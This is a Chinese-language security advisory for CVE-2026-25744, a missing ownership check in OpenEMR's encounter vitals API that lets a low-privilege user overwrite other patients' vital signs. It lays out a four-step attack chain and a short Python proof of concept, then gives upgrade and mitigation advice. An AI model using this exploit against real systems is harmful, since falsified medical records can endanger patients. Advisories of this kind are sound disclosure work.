IPBUF安全漏洞报告
English
CVE-2026-25744 CVSS 6.5 中危

CVE-2026-25744 OpenEMR医疗记录篡改漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-25744
漏洞类型
访问控制缺陷
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

IDOR访问控制OpenEMR医疗数据篡改

漏洞概述

OpenEMR 8.0.0.2之前的版本中,encounter vitals API存在访问控制缺陷。攻击者利用该漏洞,可通过提供其他患者的vital ID,覆盖任意患者的生命体征数据,导致医疗记录被恶意篡改。

技术细节

该漏洞源于OpenEMR的encounter vitals API在设计上存在缺陷。API在处理更新请求时,仅从请求体中获取`id`参数,并未对该`id`所属的患者或就诊记录进行所有权校验。因此,拥有encounters/notes权限的攻击者,可以通过构造恶意的HTTP请求,指定目标患者的vital ID,从而绕过权限检查,直接修改他人的医疗数据,实现医疗记录篡改。

攻击链分析

STEP 1
1. 获取凭证
攻击者获取一个具有encounters/notes权限的低权限账户凭证。
STEP 2
2. 枚举目标ID
通过正常访问或其他手段,获取目标患者的生命体征记录ID(vital ID)。
STEP 3
3. 发送恶意请求
向encounter vitals API发送POST/PATCH请求,在请求体中包含目标ID和篡改后的医疗数据。
STEP 4
4. 完成篡改
服务器因缺乏校验,将目标患者的记录更新为攻击者提供的数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the encounter vitals API url = "https://target-openemr.com/api/vitals" # Attacker's session cookie (authenticated low-privilege user) cookies = {"PHPSESSID": "attacker_session_id"} # Payload targeting a different patient's vital ID payload = { "id": "TARGET_VITAL_ID", # ID of another patient's vital record "bps": 200, # Modified Blood Pressure Systolic "bpd": 120 # Modified Blood Pressure Diastolic } # Send the request to overwrite the record response = requests.post(url, json=payload, cookies=cookies) if response.status_code == 200: print("Vital record successfully overwritten.") else: print(f"Failed: {response.status_code}")

影响范围

OpenEMR < 8.0.0.2

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应严格限制API接口的网络访问,或通过Web应用防火墙(WAF)规则拦截包含可疑ID参数的修改请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表